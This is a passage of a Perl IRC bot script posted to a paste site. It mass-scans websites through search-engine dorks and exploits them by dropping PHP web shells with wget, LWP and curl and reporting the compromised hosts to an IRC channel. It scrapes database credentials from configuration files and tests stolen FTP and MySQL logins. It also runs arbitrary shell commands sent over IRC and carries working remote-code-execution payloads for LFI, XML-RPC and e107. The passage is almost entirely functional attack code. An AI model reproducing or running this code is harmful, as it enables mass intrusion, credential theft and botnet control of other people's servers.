  1215. if ($cekup =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader." 15]");&msg("$admin","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader." 15]"); }
  1216. if ($cekup2 =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader2." 15]");&msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader2." 15]"); }
  1217. }
  1218. }
  1219. } exit;
  1220. }
  1221. }
  1222. }
  1223. }
  1224.  
  1225. sub ftp_connect {
  1226. my $url = $_[0];
  1227. my $host = $_[1];
  1228. my $user = $_[2];
  1229. my $pass = $_[3];
  1230. my $chan = $_[4];
  1231. my $engine = $_[5];
  1232. my $logo = $_[6];
  1233. my $success = 1;
  1234. use Net::FTP;
  1235. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  1236. $success = 0 if $ftp->login($user,$pass);
  1237. $ftp->quit;
  1238. if ($success == 0) {
  1239. &msg("$chanxxx","$logo15$engine 9<4=9>9 FTP 15[ 9http://".$host." 15] [4 ".$user.":".$pass." 15]");
  1240. }
  1241. }
  1242. sub dbi_connect () {
  1243. my $host = $_[0];
  1244. my $user = $_[1];
  1245. my $pass = $_[2];
  1246. my $dtbs = $_[3];
  1247. my $chan = $_[4];
  1248. my $engine = $_[5];
  1249. my $logo = $_[6];
  1250. my $port = "3306";
  1251. my $platform = "mysql";
  1252. my $dsn = "dbi:$platform:$dtbs:$host:$port";
  1253. my $DBIconnect= DBI->connect($dsn,$user,$pass);
  1254. if ($DBIconnect) {
  1255. &msg("$chanxxx","$logo15$engine 9<4=9>9 MySql 15[ 9http://".$host." 15] [4 Connected 15]");
  1256. }
  1257. }
  1258. sub getUserPass() {
  1259. my $string = $_[0];
  1260. my @lol = split("\r\n", $string);
  1261. my $pass = "";
  1262. my $user = "";
  1263. foreach my $line (@lol) {
  1264. if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  1265. $pass = $3;
  1266. }
  1267. if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  1268. $user = $3;
  1269. }
  1270. }
  1271. return $user.":Viva-Byroe.Net:".$pass;
  1272. }
  1273.  
  1274. sub getinfo() {
  1275. my $string = $_[0];
  1276. my @lol = split("\r\n", $string);
  1277. my $pass = "";
  1278. my $user = "";
  1279. my $dbs = "";
  1280. foreach my $line (@lol) {
  1281. if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  1282. $pass = $3;
  1283. }
  1284. if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  1285. $user = $3;
  1286. }
  1287. if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) {
  1288. $dbs = $3;
  1289. }
  1290. }
  1291. return $user.":user:".$pass.":pass:".$dbs;
  1292. }
  1293.  
  1294. sub zero_exploit() {
  1295. my $chan = $_[0];
  1296. my $bug = $_[1];
  1297. my $simpan = $_[2];
  1298. my $dork = $_[3];
  1299. my $engine = $_[4];
  1300. my $count = 0;
  1301. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zerologo);
  1302. my $num = scalar(@totexploit);
  1303. if ($num > 0){
  1304. foreach my $site(@totexploit){
  1305. $count++;
  1306. if ($count == $num-1) { &msg("$chan","$zerologo15$engine 9Finished 15for 9$dork "); }
  1307. my $coba = "http://".$site.$bug;
  1308. if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1309. my $cek = &get_content($coba);sleep(1);
  1310. if ($cek =~ /Zeroboard/) { system("./zbc $coba 80");sleep(1);
  1311. my $vulner1 = "http://".$site.$action."?cmd=";
  1312. my $vulner2 = "http://".$site.$action.$wgetdon;
  1313. my $vulner3 = "http://".$site.$action.$lwpdon;
  1314. my $vulner4 = "http://".$site.$action.$curldon;
  1315. my $vuln1 = "http://".$site."/data/kekkaishi.php";
  1316. my $check2 = &get_content($vulner1);
  1317. if ($check2 =~ /Byroe Team/) {
  1318. if ($zerowget == 1) { my $coba1 = &get_content($vulner2);sleep(2); }
  1319. if ($zerolwp == 1 ) { my $coba2 = &get_content($vulner3);sleep(2); }
  1320. if ($zerocurl == 1) { my $coba3 = &get_content($vulner4);sleep(2); }
  1321. my $check1 = &get_content($vuln1);
  1322. if ($check1 =~ /stunshell/i) {
  1323. my $safe = ""; my $os = ""; my $uid = "";
  1324. if ($check1 =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  1325. if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1326. if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1327. &msg("$admin","$zerologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$vuln1."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1328. &msg("$chan","$zerologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$vuln1."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1329. } else {
  1330. &msg("$chan","$zerologo15$engine 9<4=9>9 Cek dewe 15 $vulner1 ");
  1331. } sleep(2);
  1332. }
  1333. }
  1334. } exit; }
  1335. }
  1336. }
  1337. }
  1338.  
  1339. ##################################################################################
  1340.  
  1341. sub search_engine() {
  1342. my (@total,@clean);
  1343. my $chan = $_[0];
  1344. my $bug = $_[1];
  1345. my $dork = $_[2];
  1346. my $engine = $_[3];
  1347. my $logo = $_[4];
  1348. if ($gps == 1) {
  1349. if ($engine eq "JacKAE") { my @jackae = &jack1($dork."+site:ae"); push(@total,@jackae); }
  1350. if ($engine eq "JacKAR") { my @jackar = &jack2($dork."+site:ar"); push(@total,@jackar); }
  1351. if ($engine eq "JacKAT") { my @jackat = &jack3($dork."+site:at"); push(@total,@jackat); }
  1352. if ($engine eq "JacKAU") { my @jackau = &jack4($dork."+site:au"); push(@total,@jackau); }
  1353. if ($engine eq "JacKBR") { my @jackbr = &jack5($dork."+site:br"); push(@total,@jackbr); }
  1354. if ($engine eq "JacKCA") { my @jackca = &jack1($dork."+site:ca"); push(@total,@jackca); }
  1355. if ($engine eq "JacKCL") { my @jackcl = &jack2($dork."+site:cl"); push(@total,@jackcl); }
  1356. if ($engine eq "JacKCN") { my @jackcn = &jack3($dork."+site:cn"); push(@total,@jackcn); }
  1357. if ($engine eq "JacKCoM") { my @jackcom = &jack4($dork."+site:com"); push(@total,@jackcom); }
  1358. if ($engine eq "JacKCZ") { my @jackcz = &jack5($dork."+site:cz"); push(@total,@jackcz); }
  1359. if ($engine eq "JacKDE") { my @jackde = &jack1($dork."+site:de"); push(@total,@jackde); }
  1360. if ($engine eq "JacKDK") { my @jackdk = &jack2($dork."+site:dk"); push(@total,@jackdk); }
  1361. if ($engine eq "JacKES") { my @jackes = &jack3($dork."+site:es"); push(@total,@jackes); }
  1362. if ($engine eq "JacKEU") { my @jackeu = &jack4($dork."+site:eu"); push(@total,@jackeu); }
  1363. if ($engine eq "JacKFR") { my @jackfr = &jack5($dork."+site:fr"); push(@total,@jackfr); }
  1364. if ($engine eq "JacKHU") { my @jackhu = &jack1($dork."+site:hu"); push(@total,@jackhu); }
  1365. if ($engine eq "JacKID") { my @jackid = &jack2($dork."+site:id"); push(@total,@jackid); }
  1366. if ($engine eq "JacKIL") { my @jackil = &jack3($dork."+site:il"); push(@total,@jackil); }
  1367. if ($engine eq "JacKIN") { my @jackin = &jack4($dork."+site:in"); push(@total,@jackin); }
  1368. if ($engine eq "JacKInfO") { my @jackinfo = &jack5($dork."+site:info"); push(@total,@jackinfo); }
  1369. if ($engine eq "JacKIR") { my @jackir = &jack1($dork."+site:ir"); push(@total,@jackir); }
  1370. if ($engine eq "JacKIT") { my @jackit = &jack2($dork."+site:it"); push(@total,@jackit); }
  1371. if ($engine eq "JacKJP") { my @jackjp = &jack3($dork."+site:jp"); push(@total,@jackjp); }
  1372. if ($engine eq "JacKKR") { my @jackkr = &jack4($dork."+site:kr"); push(@total,@jackkr); }
  1373. if ($engine eq "JacKMX") { my @jackmx = &jack5($dork."+site:mx"); push(@total,@jackmx); }
  1374. if ($engine eq "JacKMY") { my @jackmy = &jack1($dork."+site:my"); push(@total,@jackmy); }
  1375. if ($engine eq "JacKNeT") { my @jacknet = &jack2($dork."+site:net"); push(@total,@jacknet); }
  1376. if ($engine eq "JacKNL") { my @jacknl = &jack3($dork."+site:nl"); push(@total,@jacknl); }
  1377. if ($engine eq "JacKOrG") { my @jackorg = &jack4($dork."+site:org"); push(@total,@jackorg); }
  1378. if ($engine eq "JacKPH") { my @jackph = &jack5($dork."+site:ph"); push(@total,@jackph); }
  1379. if ($engine eq "JacKPL") { my @jackpl = &jack1($dork."+site:pl"); push(@total,@jackpl); }
  1380. if ($engine eq "JacKRO") { my @jackro = &jack2($dork."+site:ro"); push(@total,@jackro); }
  1381. if ($engine eq "JacKRU") { my @jackru = &jack3($dork."+site:ru"); push(@total,@jackru); }
  1382. if ($engine eq "JacKTH") { my @jackth = &jack4($dork."+site:th"); push(@total,@jackth); }
  1383. if ($engine eq "JacKUA") { my @jackua = &jack5($dork."+site:ua"); push(@total,@jackua); }
  1384. if ($engine eq "JacKUK") { my @jackuk = &jack1($dork."+site:uk"); push(@total,@jackuk); }
  1385. if ($engine eq "JacKUS") { my @jackus = &jack2($dork."+site:us"); push(@total,@jackus); }
  1386. if ($engine eq "JacKSI") { my @jacksi = &jack3($dork."+site:si"); push(@total,@jacksi); }
  1387. if ($engine eq "JacKBE") { my @jackbe = &jack4($dork."+site:be"); push(@total,@jackbe); }
  1388. if ($engine eq "JacKBIZ") { my @jackbiz = &jack5($dork."+site:biz"); push(@total,@jackbiz); }
  1389. }
  1390. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  1391. if ($gps2 == 1) {
  1392. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  1393. if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1394. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  1395. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  1396. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  1397. if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  1398. if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  1399. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  1400. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  1401. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1402. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1403. if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  1404. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  1405. }
  1406. @clean = &clean(@total);
  1407. if ($silentmode == 0) {
  1408. &msg("$chan","$logo15$engine 4<9=4>9 Total:4 [15".scalar(@total)."4] 9 Clean:4 [15".scalar(@clean)."4] "); }
  1409. return @clean;
  1410. }
  1411. ##################################################################################
  1412. sub isFound() {
  1413. my $status = 0;
  1414. my $link = $_[0];
  1415. my $reqexp = $_[1];
  1416. my $res = &get_content($link);
  1417. if ($res =~ /$reqexp/) { $status = 1 }
  1418. return $status;
  1419. }
  1420.  
  1421. sub get_content() {
  1422. my $url = $_[0];
  1423. my $ua = LWP::UserAgent->new(agent => $uagent);
  1424. $ua->timeout($timot);
  1425. my $req = HTTP::Request->new(GET => $url);
  1426. my $res = $ua->request($req);
  1427. return $res->content;
  1428. }
  1429. ######################################### SEARCH ENGINE
  1430.  
  1431. sub jack1() {
  1432. my @list;
  1433. my $key = $_[0];
  1434. for (my $i=0; $i<=1000; $i+=100){
  1435. my $search = ($jack1.uri_escape($key)."&num=100&start=".$i);
  1436. my $res = &search_engine_query($search);
  1437. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1438. my $link = $1;
  1439. if ($link !~ /google/){
  1440. my @grep = &links($link);
  1441. push(@list,@grep);
  1442. }
  1443. }
  1444. }
  1445. return @list;
  1446. }
  1447.  
  1448. sub jack2() {
  1449. my @list;
  1450. my $key = $_[0];
  1451. for (my $i=0; $i<=1000; $i+=100){
  1452. my $search = ($jack2.uri_escape($key)."&num=100&start=".$i);
  1453. my $res = &search_engine_query($search);
  1454. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1455. my $link = $1;
  1456. if ($link !~ /google/){
  1457. my @grep = &links($link);
  1458. push(@list,@grep);
  1459. }
  1460. }
  1461. }
  1462. return @list;
  1463. }
  1464.  
  1465. sub jack3() {
  1466. my @list;
  1467. my $key = $_[0];
  1468. for (my $i=0; $i<=1000; $i+=100){
  1469. my $search = ($jack3.uri_escape($key)."&num=100&start=".$i);
  1470. my $res = &search_engine_query($search);
  1471. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1472. my $link = $1;
  1473. if ($link !~ /google/){
  1474. my @grep = &links($link);
  1475. push(@list,@grep);
  1476. }
  1477. }
  1478. }
  1479. return @list;
  1480. }
  1481.  
  1482. sub jack4() {
  1483. my @list;
  1484. my $key = $_[0];
  1485. for (my $i=0; $i<=1000; $i+=100){
  1486. my $search = ($jack4.uri_escape($key)."&num=100&start=".$i);
  1487. my $res = &search_engine_query($search);
  1488. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1489. my $link = $1;
  1490. if ($link !~ /google/){
  1491. my @grep = &links($link);
  1492. push(@list,@grep);
  1493. }
  1494. }
  1495. }
  1496. return @list;
  1497. }
  1498.  
  1499. sub jack5() {
  1500. my @list;
  1501. my $key = $_[0];
  1502. for (my $i=0; $i<=1000; $i+=100){
  1503. my $search = ($jack5.uri_escape($key)."&num=100&start=".$i);
  1504. my $res = &search_engine_query($search);
  1505. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1506. my $link = $1;
  1507. if ($link !~ /google/){
  1508. my @grep = &links($link);
  1509. push(@list,@grep);
  1510. }
  1511. }
  1512. }
  1513. return @list;
  1514. }
  1515.  
  1516. sub google() {
  1517. my @list;
  1518. my $key = $_[0];
  1519. for (my $i=0; $i<=1000; $i+=100){
  1520. my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  1521. my $res = &search_engine_query($search);
  1522. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1523. my $link = $1;
  1524. if ($link !~ /google/){
  1525. my @grep = &links($link);
  1526. push(@list,@grep);
  1527. }
  1528. }
  1529. }
  1530. return @list;
  1531. }
  1532.  
  1533. sub walla() {
  1534. my @list;
  1535. my $key = $_[0];
  1536. for ($b=0; $b<=100; $b+=1) {
  1537. my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  1538. my $res = &search_engine_query($search);
  1539. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  1540. my $link = $1;
  1541. if ($link !~ /walla\.co\.il/){
  1542. my @grep = &links($link);
  1543. push(@list,@grep);
  1544. }
  1545. }
  1546. }
  1547. return @list;
  1548. }
  1549.  
  1550. sub yahoo(){
  1551. my @list;
  1552. my $key = $_[0];
  1553. for ($b=1; $b<=1000; $b+=10) {
  1554. my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  1555. my $res = &search_engine_query($search);
  1556. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  1557. my $link = $1;
  1558. if ($link !~ /yahoo\.com/){
  1559. my @grep = &links($link);
  1560. push(@list,@grep);
  1561. }
  1562. }
  1563. }
  1564. return @list;
  1565. }
  1566.  
  1567. sub ask() {
  1568. my @list;
  1569. my $key = $_[0];
  1570. for (my $i=1; $i<=1000; $i+=100) {
  1571. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  1572. my $res = &search_engine_query($search);
  1573. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  1574. my $link = $1;
  1575. if ($link !~ /ask\.com/){
  1576. my @grep = &links($link);
  1577. push(@list,@grep);
  1578. }
  1579. }
  1580. }
  1581. return @list;
  1582. }
  1583.  
  1584. sub onet() {
  1585. my @list;
  1586. my $key = $_[0];
  1587. my $b = 0;
  1588. for ($b=1; $b<=400; $b+=10) {
  1589. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  1590. my $res = &search_engine_query($search);
  1591. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  1592. my $link = $1;
  1593. if ($link !~ /onet|webcache|query/){
  1594. my @grep = &links($link);
  1595. push(@list,@grep);
  1596. }
  1597. }
  1598. }
  1599. return @list;
  1600. }
  1601.  
  1602. sub clusty() {
  1603. my @list;
  1604. my $key = $_[0];
  1605. my $b = 0;
  1606. for ($b=10; $b<=200; $b+=10) {
  1607. my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  1608. my $res = &search_engine_query($search);
  1609. if ($res !~ /next/) {$b=100;}
  1610. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1611. my $link = $1;
  1612. if ($1 !~ /yippy\.com/){
  1613. my @grep = &links($link);
  1614. push(@list,@grep);
  1615. }
  1616. }
  1617. }
  1618. return @list;
  1619. }
  1620.  
  1621. sub bing() {
  1622. my @list;
  1623. my $key = $_[0];
  1624. for (my $i=1; $i<=400; $i+=10) {
  1625. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  1626. my $res = &search_engine_query($search);
  1627. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  1628. my $link = $1;
  1629. if ($link !~ /google/) {
  1630. my @grep = &links($link);
  1631. push(@list,@grep);
  1632. }
  1633. }
  1634. }
  1635. return @list;
  1636. }
  1637.  
  1638. sub sapo(){
  1639. my @list;
  1640. my $key = $_[0];
  1641. for ($b=1; $b<=50; $b+=1) {
  1642. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  1643. my $res = &search_engine_query($search);
  1644. if ($res !~ m/Next/i) {$b=50;}
  1645. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1646. my $link = $1;
  1647. if ($1 !~ /\.sapo\.pt/){
  1648. my @grep = &links($link);
  1649. push(@list,@grep);
  1650. }
  1651. }
  1652. }
  1653. return @list;
  1654. }
  1655.  
  1656. sub lycos() {
  1657. my @list;
  1658. my $key = $_[0];
  1659. for ($b=0; $b<=50; $b+=1) {
  1660. my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  1661. my $res = &search_engine_query($search);
  1662. while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  1663. my $link = $1;
  1664. if ($link !~ /lycos\.com/){
  1665. my @grep = &links($link);
  1666. push(@list,@grep);
  1667. }
  1668. }
  1669. }
  1670. return @list;
  1671. }
  1672.  
  1673. sub uol() {
  1674. my @list;
  1675. my $key = $_[0];
  1676. for ($b=0; $b<=1000; $b+=10) {
  1677. my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  1678. my $res = &search_engine_query($search);
  1679. if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  1680. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1681. my $link = $1;
  1682. if ($link !~ /uol\.com\.br|\/web/i){
  1683. my @grep = &links($link);
  1684. push(@list,@grep);
  1685. }
  1686. }
  1687. }
  1688. return @list;
  1689. }
  1690.  
  1691. sub seznam() {
  1692. my @list;
  1693. my $key = $_[0];
  1694. for ($b=1; $b<=300; $b+=20) {
  1695. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  1696. my $res = &search_engine_query($search);
  1697. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1698. my $link = $1;
  1699. if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  1700. my @grep = &links($link);
  1701. push(@list,@grep);
  1702. }
  1703. }
  1704. }
  1705. return @list;
  1706. }
  1707.  
  1708. sub hotbot() {
  1709. my @list;
  1710. my $key = $_[0];
  1711. for ($b=0; $b<=50; $b+=1) {
  1712. my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  1713. my $res = &search_engine_query($search);
  1714. if ($res =~ m/had no web result/i) {$b=50;}
  1715. while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  1716. my $link = $1;
  1717. if ($link !~ /hotbot\.com/){
  1718. my @grep = &links($link);
  1719. push(@list,@grep);
  1720. }
  1721. }
  1722. }
  1723. return @list;
  1724. }
  1725.  
  1726. sub aol() {
  1727. my @list;
  1728. my $key = $_[0];
  1729. for ($b=0; $b<=300; $b+=10) {
  1730. my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  1731. my $res = &search_engine_query($search);
  1732. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1733. my $link = $1;
  1734. if ($link !~ /aol\.com/){
  1735. my @grep = &links($link);
  1736. push(@list,@grep);
  1737. }
  1738. }
  1739. }
  1740. return @list;
  1741. }
  1742.  
  1743. sub biglobe {
  1744. my $key = $_[0];
  1745. my @list;
  1746. for ($b=1; $b<=500; $b+=10) {
  1747. $num += $num;
  1748. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  1749. my $res = &search_engine_query($search);
  1750. while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  1751. my $link = $1;
  1752. if ($link !~ /biglobe/){
  1753. my @grep = &links($link);
  1754. push(@list,@grep);
  1755. }
  1756. }
  1757. }
  1758. return @list;
  1759. }
  1760.  
  1761. #########################################
  1762.  
  1763. sub clean() {
  1764. my @cln = ();
  1765. my %visit = ();
  1766. foreach my $element (@_) {
  1767. $element =~ s/\/+/\//g;
  1768. next if $visit{$element}++;
  1769. push @cln, $element;
  1770. }
  1771. return @cln;
  1772. }
  1773.  
  1774. sub links() {
  1775. my @list;
  1776. my $link = $_[0];
  1777. my $host = $_[0];
  1778. my $hdir = $_[0];
  1779. $hdir =~ s/(.*)\/[^\/]*$/\1/;
  1780. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1781. $host .= "/";
  1782. $link .= "/";
  1783. $hdir .= "/";
  1784. $host =~ s/\/\//\//g;
  1785. $hdir =~ s/\/\//\//g;
  1786. $link =~ s/\/\//\//g;
  1787. push(@list,$link,$host,$hdir);
  1788. return @list;
  1789. }
  1790.  
  1791. sub search_engine_query() {
  1792. my $url = $_[0];
  1793. $url =~ s/http:\/\///;
  1794. my $host = $url;
  1795. my $query = $url;
  1796. my $page = "";
  1797. $host =~ s/href=\"?http:\/\///;
  1798. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1799. $query =~ s/$host//;
  1800. if ($query eq "") { $query = "/"; }
  1801. eval {
  1802. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1803. my $sget = "GET $query HTTP/1.0\r\n";
  1804. $sget .= "Host: $host\r\n";
  1805. $sget .= "Accept: */*\r\n";
  1806. $sget .= "User-Agent: $uagent\r\n";
  1807. $sget .= "Connetion: Close\r\n\r\n";
  1808. print $sock $sget;
  1809. my @pages = <$sock>;
  1810. $page = "@pages";
  1811. close($sock);
  1812. };
  1813. return $page;
  1814. }
  1815.  
  1816. #########################################
  1817.  
  1818. sub shell() {
  1819. my $path = $_[0];
  1820. my $cmd = $_[1];
  1821. if ($cmd =~ /cd (.*)/) {
  1822. chdir("$1") || &msg("$path","No such file or directory");
  1823. return;
  1824. }
  1825. elsif ($pid = fork) { waitpid($pid, 0); }
  1826. else { if (fork) { exit; } else {
  1827. my @output = `$cmd 2>&1 3>&1`;
  1828. my $c = 0;
  1829. foreach my $output (@output) {
  1830. $c++;
  1831. chop $output;
  1832. &msg("$path","$output");
  1833. if ($c == 5) { $c = 0; sleep 3; }
  1834. }
  1835. exit;
  1836. }}
  1837. }
  1838.  
  1839. sub isAdmin() {
  1840. my $status = 0;
  1841. my $nick = $_[0];
  1842. if ($nick eq $admin) { $status = 1; }
  1843. return $status;
  1844. }
  1845.  
  1846. sub msg() {
  1847. return unless $#_ == 1;
  1848. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  1849. }
  1850.  
  1851. sub nick() {
  1852. return unless $#_ == 0;
  1853. sendraw("NICK $_[0]");
  1854. }
  1855. sub notice() {
  1856. return unless $#_ == 1;
  1857. sendraw("NOTICE $_[0] :$_[1]");
  1858. }
  1859.  
  1860. sub cmdlfi() {
  1861. my $browser = LWP::UserAgent->new;
  1862. my $url = $_[0];
  1863. my $cmd = $_[1];
  1864. my $chan = $_[2];
  1865. my $hie = "lobex<?system(\"$cmd 2> /dev/stdout\"); ?>byroe";
  1866. $browser->agent("$hie");
  1867. $browser->timeout(7);
  1868. $response = $browser->get( $url );
  1869. if ($response->content =~ /lobex(.*)byroe/s) {
  1870. &msg("$chan","$lfilogo9 ".$1." ");
  1871. } else {
  1872. &msg("$chan","$lfilogo15 No Output ");
  1873. }
  1874. }
  1875.  
  1876. sub cmdxml() {
  1877. my $jed = $_[0];
  1878. my $dwa = $_[1];
  1879. my $chan = $_[2];
  1880. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1881. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1882. $exploit .= "<methodName>test.method</methodName>";
  1883. $exploit .= "<params><param><value><name>',''));";
  1884. $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
  1885. my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
  1886. if ($response->content =~ /bamby(.*)solo/s) {
  1887. &msg("$chan","$xmllogo9 $1 ");
  1888. } else {
  1889. &msg("$chan","$xmllogo15 No Output ");
  1890. }
  1891. }
  1892.  
  1893. sub cmde107() {
  1894. my $path = $_[0];
  1895. my $code = $_[1];
  1896. my $chan = $_[2];
  1897. my $codecmd = encode_base64($code);
  1898. my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';
  1899. my $req = HTTP::Request->new(POST => $path);
  1900. $req->content_type('application/x-www-form-urlencoded');
  1901. $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
  1902. my $ua = LWP::UserAgent->new(agent => $uagent);
  1903. $ua->timeout(7);
  1904. my $res = $ua->request($req);
  1905. my $data = $res->as_string;
  1906. if ( $data =~ /ByroeNet(.*)/ ){
  1907. $mydata = $1;
  1908. &msg("$chan","0,1(0E1070)4 $mydata");
  1909. }
  1910. else { &msg("$chan","0,1(0E1070)4 No Output"); }
  1911. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!